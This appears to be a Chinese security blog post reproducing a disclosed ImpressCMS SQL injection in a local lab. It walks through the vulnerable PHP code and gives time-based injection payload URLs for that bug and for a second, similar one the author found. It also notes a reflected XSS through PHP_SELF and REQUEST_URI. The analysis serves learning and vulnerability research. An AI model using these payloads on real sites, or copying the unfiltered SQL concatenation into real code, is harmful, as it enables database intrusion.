这两天突然看到 https://blog.ripstech.com/2020/sql-injection-impresscms/
,想着复现一下,记录一下学习过程。
首先我们先下载安装一下这个 cms
,然后直接访问:
http://127.0.0.1:81/admin.php/modules/system' and sleep(2) and '1
这个 url
,会发现延迟了三秒,没错这个漏洞就是这么简单。更深的用法我们就不讨论了。
打开 cms
的文件: \htdocs\libraries\icms\module\Handler.php
,找到 service
函数:
static public function service($inAdmin = FALSE) {
if ($inAdmin || ... ) {
$url_arr = explode('/', strstr($_SERVER['PHP_SELF'], '/modules/'));
if (isset($url_arr[2])) {
//关键点
$module = icms::handler("icms_module")->getByDirname($url_arr[2], TRUE);
我们首先访问 admin.php
会执行到这个函数,然后 inAdmin
会设置成 true
,到第四行获取了 PHP_SELF
并以 /modules/
分割,然后讲 /modules/
后的内容带入 getByDirname
,跟进该函数:
public function getByDirname($dirname, $loadConfig = FALSE) {
if (!empty($this->_cachedModule[$dirname]) &&
$this->_cachedModule[$dirname]->getVar('dirname') == $dirname
) {
...
} else {
$sql = "SELECT * FROM " . $this->db->prefix('modules') . " WHERE dirname = '" . trim($dirname) . "'";
//执行sql
可以看到这里直接带入了 $sql
没有任何过滤。
之前我也审计到过一个此类的漏洞,这里顺便分享一下:
然后下面的代码:
//此处的 $uri 就是 PHP_SELF
$tmp = strtolower(substr($uri,-4));
if(in_array($tmp,array('.jpg','.gif','.png','jpeg')) && substr($uri,0,11) == 'res/_cache/'){
$tmp = substr($uri,11);
$tmp = explode("/",$tmp);
get_one($tmp[0]);
当文件名是 .jpg
结尾并且 uri 前十一位是 res/_cache/
时进入,最后用 /
分割 uri
并带入 sql
语句。
很容易就可以 payload
:
index.php/res/_cache/a'-sleep(3)-'/test/test.jpg
此外还有一个点,但是暂时没有见到过案例,比如:
<?php
print_r($_SERVER['REQUEST_URI']);
?>
这样的代码,然后我们用 bp
讲 /test/test.php
修改成:/abc'd/../test/test.php
当然,不管是 PHP_SELF
还是 REQUEST_URI
我们直接 echo
出来都会造成 反射的 XSS
实际上我们访问的依然是 test.php
,但是 REQUEST_URI
输出的却是 /abc'd/../test/test.php
。
当然,$_SERVER
里还有很多好玩的,期待师傅们挖掘出来教我QAQ